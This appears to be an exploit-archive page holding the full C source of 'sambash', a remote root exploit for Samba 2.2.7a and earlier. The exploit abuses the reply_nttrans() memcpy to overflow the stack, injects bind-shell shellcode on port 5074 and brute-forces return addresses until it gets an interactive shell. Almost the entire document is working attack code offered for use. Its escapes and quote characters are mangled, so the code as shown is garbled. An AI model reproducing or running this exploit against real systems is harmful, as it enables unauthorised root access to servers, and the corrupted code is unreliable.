‘Samba reply_nttrans() Remote Root Exploit’

Details

‘Vulnerable Systems:
 * Samba version 2.2.7a and prior

/**
 ** sambash — samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl
 **
 ** since we fully control a memcpy(), our options are endless here. i’ve chosen to go the stack route tho,
 ** because any heap method would’ve required too much brute forcing or would’ve required the ugly use of targets.
 **
 ** the stack method still requires little brute forcing and obviously will not survive PaX, but it’s efficient.
 ** i’m using executable rets as a ‘jmp sled’ which jmp to the shellcode to help improve our brute forcing chances a bit.
 **
 ** shouts to (#)0dd, #!l33tsecurity and #!xpc.
 **
 ** many thanks to tcpdump which had to suffer the torture i put it through and often didn’t survive (more to come?).
 **
 ** public/private, i don’t give a shit.
 **
 **/

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>

typedef unsigned char uint8;
typedef unsigned short uint16;
typedef unsigned long uint32;

/* http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf, smb_cifs_protocol.pdf,
  http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14, http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */

// XXX: lelijkheid: vermijd word padding door hier byte arrays van te maken.
struct variable_data_header
{ uint8 wordcount, bytecount[2];
};

struct nbt_session_header
{ uint8 type, flags, len[2];
};

struct smb_base_header
{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];
 uint8 flags;
 uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
};

struct negprot_reply_header
{ uint8 wordcount;
 uint8 dialectindex[2];
 uint8 securitymode;
 uint16 maxmpxcount, maxvccount;
 uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;
 uint16 timezone;
 uint8 keylen;
 uint16 bytecount;
};

// omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor deze header.
struct sesssetupx_request_header
{ uint8 wordcount, command, reserved;
 uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
 uint8 sessionid[4];
 uint8 ipasswdlen[2], passwdlen[2];
 uint8 reserved2[4], capabilities[4];
};

struct sesssetupx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];
 // wat volgt: char nativeos[], nativelanman[], primarydomain[];
};

struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
 // uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
};

struct tconx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];
 // wat volgt: char service[], char nativefilesystem[];
};

// verschilt van trans en trans2 door de 32 bits wijde header fields.
struct nttrans_primary_request_header
{ uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4], totaldatacount[4], maxparamcount[4], maxdatacount[4];
 uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4], setupcount, function[2], bytecount[2];
};

struct nttrans_secondary_request_header
{ uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],
 datacount[4], dataoffset[4], datadisplace[4];
};

/* struct trans2_request_header
{ uint8 wordcount;
 int totalparamcount, totaldatacount, maxparamcount, maxdatacount;
 uint8 maxsetupcount[2], flags[2];
 uint8 timeout[4];
 int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;
 uint8 setupcount[2], bytecount[2];
}; */

struct trans2_reply_header
{ uint8 wordcount;
 uint16 totalparamcount, totaldatacount, reserved, paramcount, paramoffset,
 paramdisplacement, datacount, dataoffset, datadisplacement;
 uint8 setupcount, reserved2;
 uint16 bytecount;
};

#define SMBD_PORT 139
#define SHELLCODE_PORT 5074

#define SMB_NEGPROT 0x72
#define SMB_SESSSETUPX 0x73
#define SMB_TCONX 0x75
#define SMB_TRANS2 0x32
#define SMB_NTTRANS1 0xA0
#define SMB_NTTRANS2 0xA1
#define SMB_NTTRANSCREATE 0x01
#define SMB_TRANS2OPEN 0x00
#define SMB_SESSIONREQ 0x81
#define SMB_SESSION 0x00

#define STACKBOTTOM 0xbfffffff
#define STACKBASE 0xbfffd000
#define TOTALCOUNT ((int)(STACKBOTTOM – STACKBASE))
#define BRUTESTEP 5120

extern char *optarg;
extern int optind, errno, h_errno;

uint16 tid, pid, uid;
uint32 sessionid, PARAMBASE = 0x81c0000;
char *tconx_servername;
int userbreak = 0;

char shellcode[] = "x31xc0x50x40x89xc3x50x40x50x89xe1xb0x66xcdx80x31xd2x52"
 "x66x68x13xd2x43x66x53x89xe1x6ax10x51x50x89xe1xb0x66xcd"
 "x80x40x89x44x24x04x43x43xb0x66xcdx80x83xc4x0cx52x52x43"
 "xb0x66xcdx80x93x89xd1xb0x3fxcdx80x41x80xf9x03x75xf6x52"
 "x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0b"
 "xcdx80";

// ach, ‘t kan ermee door.
char *netbios_encode_name(char *name, int type)
{ char plainname[16], c, *encoded, *ptr;
 int i, len = strlen(name);
 if ((encoded = malloc(34)) == NULL)
 { fprintf(stderr, "malloc() failedn");
 exit(-1);
 }
 ptr = encoded;
 strncpy(plainname, name, 15);
 *ptr++ = 0x20;
 for (i = 0; i < 16; i++)
 { if (i == 15) c = type;
 else
 { if (i < len) c = toupper(plainname[i]);
  else c = 0x20;
 }
 *ptr++ = (((c >> 4) & 0xf) + 0x41);
 *ptr++ = ((c & 0xf) + 0x41);
 }
 *ptr = ‘’;
 return encoded;
}

void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)
{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;
 uint16 nlen;

// geen idee of dit de juiste manier is, maar ‘t lijkt wel te werken ..
 if (len > 65535) nlen = 65535;
 else nlen = htons(len);

 memset((void *)nbt_hdr, ‘’, sizeof (struct nbt_session_header));
 
 nbt_hdr->type = type;
 nbt_hdr->flags = flags;
 memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));
}

// caller zorgt voor juiste waarde van ptr.
void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid,
 uint16 uid, uint16 mid)
{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;

 memset(base_hdr, ‘’, sizeof (struct smb_base_header));

 memcpy(base_hdr->protocol, "xffSMB", 4);

 base_hdr->command = command;
 base_hdr->flags = flags;

 memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
 memcpy(&base_hdr->tid, &tid, sizeof (uint16));
 memcpy(&base_hdr->pid, &pid, sizeof (uint16));
 memcpy(&base_hdr->uid, &uid, sizeof (uint16));
 memcpy(base_hdr->mid, &mid, sizeof (uint16));
}

void construct_sesssetupx_header(char *ptr)
{ struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;
 uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;
 uint32 capabilities = 0x50;

 memset(sx_hdr, ‘’, sizeof (struct sesssetupx_request_header));

 sx_hdr->wordcount = 13;
 sx_hdr->command = 0xff;
 memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
 memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
 memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
 memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
 memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));
 memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));
 memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
}

/*
struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
 — uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
}; */
void construct_tconx_header(char *ptr)
{ struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;
 uint16 passwdlen = 1, bytecount;
 char *data;

 memset(tx_hdr, ‘’, sizeof (struct tconx_request_header));

 bytecount = strlen(tconx_servername) + 15;

 if ((data = malloc(bytecount)) == NULL)
 { fprintf(stderr, "malloc() failed, aborting!n");
 exit(-1);
 }
 memcpy(data, "x00x5cx5c", 3);
 memcpy(data + 3, tconx_servername, strlen(tconx_servername));
 memcpy(data + 3 + strlen(tconx_servername), "x5cIPCx24x00x3fx3fx3fx3fx3fx00", 12);

 tx_hdr->wordcount = 4;
 tx_hdr->xcommand = 0xff;

 memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
 memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));

// zorg ervoor dat er genoeg ruimte in het packet is om dit erachter te kunnen plakken.
 memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
}

// session request versturen.
void nbt_session_request(int fd, char *clientname, char *servername)
{ char *cn, *sn;
 char packet[sizeof (struct nbt_session_header) + (34 * 2)];

 construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) – sizeof (struct nbt_session_header));

 tconx_servername = servername;

 sn = netbios_encode_name(servername, 0x20);
 cn = netbios_encode_name(clientname, 0x00);

 memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
 memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);

 if (write(fd, packet, sizeof (packet)) == -1)
 { close(fd);
 fprintf(stderr, "write() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }

 free(cn);
 free(sn);
}

// netjes verwerken, zoals het hoort.
void process_nbt_session_reply(int fd)
{ struct nbt_session_header nbt_hdr;
 char *errormsg;
 uint8 errorcode;
 int size, len = 0;

 if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
 { close(fd);
 fprintf(stderr, "read() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }
 if (size != sizeof (nbt_hdr))
 { close(fd);
 fprintf(stderr, "read() a broken packet, aborting.n");
 exit(-1);
 }
 memcpy(&len, &nbt_hdr.len, sizeof (uint16));

 if (len)
 { read(fd, (void *)&errorcode, 1);
 close(fd);
 switch (errorcode)
 { case 0x80 : errormsg = "Not listening on called name"; break;
  case 0x81 : errormsg = "Not listening for calling name"; break;
  case 0x82 : errormsg = "Called name not present"; break;
  case 0x83 : errormsg = "Called name present, but insufficient resources"; break;
  case 0x8f : errormsg = "Unspecified error"; break;
  default : errormsg = "Unspecified error (unknown error code received!)"; break;
 }
 fprintf(stderr, "session request denied, reason: ‘%s’ (code %i)n", errormsg, errorcode);
 exit(-1);
 }
 printf("session request grantedn");
}

void negprot_request(int fd)
{ struct variable_data_header data;
 char dialects[] = "x2PC NETWORK PROGRAM 1.0x0x2MICROSOFT NETWORKS 1.03x0x2MICROSOFT NETWORKS 3.0x0x2LANMAN1.0x0"
 "x2LM1.2X002x0x2Sambax0x2NT LANMAN 1.0x0x2NT LM 0.12x0x2""FLATLINE’S KWAADWAAR";
 char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];
 int dlen = htons(sizeof (dialects));

 memset(&data, ‘’, sizeof (data));
 construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) – sizeof (struct nbt_session_header));
 pid = getpid();
 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);

 memcpy(&data.bytecount, &dlen, sizeof (uint16));

 memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));
 memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)),
 dialects, sizeof (dialects));

 if (write(fd, packet, sizeof (packet)) == -1)
 { close(fd);
 fprintf(stderr, "write() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }
}

void process_negprot_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
 struct smb_base_header *base_hdr;
 struct negprot_reply_header *np_reply_hdr;
 char packet[1024];
 int size;
 uint16 pid_reply;

 nbt_hdr = (struct nbt_session_header *)packet;
 base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
 np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) +
 sizeof (struct smb_base_header)));

 if ((size = read(fd, packet, sizeof (packet))) == -1)
 { close(fd);
 fprintf(stderr, "read() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }

 // bekijk het antwoord even vluchtig.
 memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
 memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
 if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)
 { close(fd);
 fprintf(stderr, "protocol negotiation failedn");
 exit(-1);
 }

 printf("protocol negotiation completen");
}

void sesssetupx_request(int fd)
{ uint8 data[] = "x12x0x0x0x55x6ex69x78x00x53x61x6dx62x61";
 char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
 sizeof (struct sesssetupx_request_header) + sizeof (data)];
 int size;

 construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) – sizeof (struct nbt_session_header));
 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
 construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
 memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
 sizeof (struct sesssetupx_request_header), &data, sizeof (data));

 if ((size = write(fd, packet, sizeof (packet))) == -1)
 { close(fd);
 fprintf(stderr, "write() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }
 if (size != sizeof (packet))
 { close(fd);
 fprintf(stderr, "couldn’t write entire packet, aborting!n");
 exit(-1);
 }
}

void process_sesssetupx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
 struct smb_base_header *base_hdr;
 struct sesssetupx_reply_header *sx_hdr;
 char packet[1024];
 int size, len;

// lees het packet
 if ((size = read(fd, packet, sizeof (packet))) == -1)
 { close(fd);
 fprintf(stderr, "read() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }

 nbt_hdr = (struct nbt_session_header *)packet;
 base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
 sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

 memcpy(&len, &nbt_hdr->len, sizeof (uint16));
 memcpy(&uid, &base_hdr->uid, sizeof (uint16));

// even een vluchtige check
 if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
 { close(fd);
 fprintf(stderr, "session setup failedn");
 exit(-1);
 }

 printf("session setup complete, got assigned uid %in", uid);
}

void tconx_request(int fd)
{ // geen fixed size buffer omdat we met dynamische data te maken hebben (variabele servernaam)
 char *packet;
 int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
 sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;

 if ((packet = malloc(pktsize)) == NULL)
 { close(fd);
 fprintf(stderr, "malloc() failed, aborting!n");
 exit(-1);
 }

 construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize – sizeof (struct nbt_session_header));
 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);
 construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

 if ((size = write(fd, packet, pktsize)) == -1)
 { close(fd);
 fprintf(stderr, "write() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }

 free(packet);

 if (size != pktsize)
 { close(fd);
 fprintf(stderr, "couldn’t write entire packet, aborting!n");
 exit(-1);
 }
}

void process_tconx_reply(int fd)
{ struct nbt_session_header *nbt_hdr;
 struct smb_base_header *base_hdr;
 struct tconx_reply_header *tx_hdr;
 char packet[1024];
 int size, bytecount;
 
// lees het packet
 if ((size = read(fd, packet, sizeof (packet))) == -1)
 { close(fd);
 fprintf(stderr, "read() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }

 nbt_hdr = (struct nbt_session_header *)packet;
 base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
 tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

 memcpy(&tid, &base_hdr->tid, sizeof (uint16));
 memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));

 printf("tree connect complete, got assigned tid %in", tid);
}

void nttrans_primary_request(int fd)
{ char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
 sizeof (struct nttrans_primary_request_header)];
 struct nttrans_primary_request_header nt_hdr;

 int size, function = SMB_NTTRANSCREATE, totalparamcount = TOTALCOUNT, totaldatacount = 0;
 uint8 setupcount = 0;

 memset(&nt_hdr, ‘’, sizeof (nt_hdr));

 construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) – sizeof (struct nbt_session_header));
 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS1, 8, 1, tid, pid, uid, 1);

 nt_hdr.wordcount = 19 + setupcount;
 memcpy(&nt_hdr.function, &function, sizeof (uint16));

 memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
 memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));

 memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));

 if ((size = write(fd, packet, sizeof (packet))) == -1)
 { close(fd);
 fprintf(stderr, "write() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }
 if (size != sizeof (packet))
 { close(fd);
 fprintf(stderr, "couldn’t write entire packet, aborting!n");
 exit(-1);
 }
}

// hier gaat het gebeuren.
/*
struct nttrans_secondary_request_header
{ uint8 pad[3], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],
 datacount[4], dataoffset[4], datadisplace[4];
}; */
void nttrans_secondary_request(int fd)
{ char retbuf[TOTALCOUNT], packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
 sizeof (struct nttrans_secondary_request_header) + TOTALCOUNT];
 struct nttrans_secondary_request_header nt_hdr;
 unsigned long retaddr, jmptocode = 0x9090a1eb; // jmptocode = 0x90909ceb;
 int i;

 int size, totalparamcount = TOTALCOUNT, totaldatacount = 0,
 paramcount = TOTALCOUNT, datacount = 0, paramdisplace = STACKBASE – PARAMBASE,
 datadisplace = 0, paramoffset = 68, dataoffset = 0;

 memset(&nt_hdr, ‘’, sizeof (nt_hdr));
 retaddr = 0xbffff6eb;
 for (i = 0; i < TOTALCOUNT; i += 4)
 { if (i == 0x100)
 { memcpy(retbuf + i, &jmptocode, 4);
 }
 else memcpy(retbuf + i, &retaddr, 4);
 }

// memset(shellcode, 0xCC, sizeof (shellcode));
 memcpy(retbuf + 0x100 – sizeof (shellcode), shellcode, sizeof (shellcode));

 printf("sizeof packet: %i, parambase: 0x%08lxn", sizeof (packet), PARAMBASE);

 construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) – sizeof (struct nbt_session_header));
 construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS2, 8, 1, tid, pid, uid, 1);
 
 memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
 memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
 memcpy(&nt_hdr.paramcount, &paramcount, sizeof (uint32));
 memcpy(&nt_hdr.datacount, &datacount, sizeof (uint32));
 memcpy(&nt_hdr.paramdisplace, &paramdisplace, sizeof (uint32));
 memcpy(&nt_hdr.datadisplace, &datadisplace, sizeof (uint32));
 memcpy(&nt_hdr.paramoffset, &paramoffset, sizeof (uint32));
 memcpy(&nt_hdr.dataoffset, &dataoffset, sizeof (uint32));
 
 memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));
 memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (nt_hdr), retbuf, sizeof (retbuf));

 usleep(5000);
 
 if ((size = write(fd, packet, sizeof (packet))) == -1)
 { close(fd);
 fprintf(stderr, "write() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
 exit(-errno);
 }
 if (size != sizeof (packet))
 { close(fd);
 fprintf(stderr, "couldn’t write entire packet, aborting!n");
 exit(-1);
 }
 fprintf(stderr, "secondary nttrans packet sent!n");
}

// voor alle idioten onder ons.
void usage(char *name)
{ printf("nusage: %s -h hostname [-p port] -t target [-l]nn-htspecify target hostnamen-ptspecify target "
 "port (defaults to 139)n-ttspecify target’s magic numbersn-ltshow list of targetsnn", name);
}

void userbreak_handler(int x)
{ userbreak = 1;
}

int main(int argc, char **argv)
{ int fd, port = -1, opt, readlen;
 unsigned long target_ip;
 struct sockaddr_in s_in;
 struct hostent *he;
 char *host = NULL, *me, readbuf[4096];
 fd_set readfds;

 if (argc >= 1)
 { me = argv[0];
 if (strchr(me, ‘/’) != NULL) me = strrchr(me, ‘/’) + 1;
 }
 else me = "sambash";

 fprintf(stderr, "nsambash — samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nlnn");

 while ((opt = getopt(argc, argv, "h:p:b:")) != EOF)
 { switch (opt)
 { case ‘h’: { if (!inet_aton(optarg, (struct in_addr *)&target_ip))
     { if ((he = gethostbyname(optarg)) == NULL)
     { fprintf(stderr, "unable to resolve host ‘%s’, reason: %s (code %i)n", optarg, hstrerror(h_errno), h_errno);
      exit(-h_errno);
     }
     memcpy((void *)&target_ip, he->h_addr_list[0], he->h_length);
     }
     host = optarg;
    } break;
  case ‘p’: { port = atoi(optarg);
     if (port < 0 || port > 65535)
     { fprintf(stderr, "invalid port specified.n");
     exit(-1);
     }
     } break;
  case ‘b’: PARAMBASE += atoi(optarg); break;
  default : { usage(me);
     exit(0);
    } break;
 }
 }

 if (host == NULL)
 { fprintf(stderr, "no hostname specified.n");
 usage(me);
 exit(-1);
 }
 if (port == -1) port = SMBD_PORT;

 signal(SIGINT, userbreak_handler);

 while (!userbreak)
 { memset(&s_in, 0, sizeof (s_in));
 s_in.sin_family = AF_INET;
 s_in.sin_port = htons(port);
 s_in.sin_addr.s_addr = target_ip;

 if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
 { fprintf(stderr, "socket() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
  exit(-errno);
 }

 if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
 { fprintf(stderr, "connect() to host ‘%s:%i’ failed, reason: ‘%s’ (code %i)n", host, port, strerror(errno), errno);
  exit(-errno);
 }

 // register name
 nbt_session_request(fd, "BOSSA", "SAMBA");
 process_nbt_session_reply(fd);

 // protocol negotiation
 negprot_request(fd);
 process_negprot_reply(fd);

 // session setup
 sesssetupx_request(fd);
 process_sesssetupx_reply(fd);

 // tree connection setup
 tconx_request(fd);
 process_tconx_reply(fd);

 // nttrans packet sturen
 nttrans_primary_request(fd);

 nttrans_secondary_request(fd);

 usleep(750000);

 if (close(fd) == -1)
 { fprintf(stderr, "close() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
  exit(-errno);
 }

 memset(&s_in, 0, sizeof (s_in));
 s_in.sin_family = AF_INET;
 s_in.sin_port = htons(SHELLCODE_PORT);
 s_in.sin_addr.s_addr = target_ip;

 if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
 { fprintf(stderr, "socket() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
  exit(-errno);
 }

 if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
 { if (close(fd) == -1)
  { fprintf(stderr, "close() failed, reason: ‘%s’ (code %i)n", strerror(errno), errno);
  exit(-errno);
  }
  PARAMBASE += BRUTESTEP;
  continue;
 }
 
 printf("nn** veel plezier.nn");
 
 FD_ZERO(&readfds);
 while (!userbreak)
 { FD_SET(fileno(stdin), &readfds);
  FD_SET(fd, &readfds);
 
  if (select(fd + 1, &readfds, NULL, NULL, NULL) < 0)
  { fprintf(stderr, "shell loop aborted because of error code %i (‘%s’)n", errno, strerror(errno));
  break;
  }
  
  if (FD_ISSET(fileno(stdin), &readfds))
  { int writelen;
 
  readlen = read(fileno(stdin), readbuf, sizeof (readbuf));
  if (readlen == -1)
  { fprintf(stderr, "read() failed with error code %i (‘%s’)n", errno, strerror(errno));
   exit(-1);
  }
  if ((writelen = write(fd, readbuf, readlen)) == -1)
  { fprintf(stderr, "write() failed with error code %i (‘%s’)n", errno, strerror(errno));
   exit(-1);
  }
  FD_ZERO(&readfds);
  continue;
  }
  if (FD_ISSET(fd, &readfds))
  { if ((readlen = read(fd, readbuf, sizeof (readbuf))) == -1)
  { fprintf(stderr, "shell loop aborted because of error code %i (‘%s’)n", errno, strerror(errno));
   break;
  }
  write(fileno(stderr), readbuf, readlen);
  FD_ZERO(&readfds);
  continue;
  }
 }

 }

 printf("user break.n");
 signal(SIGINT, SIG_DFL);

 return 0;
}’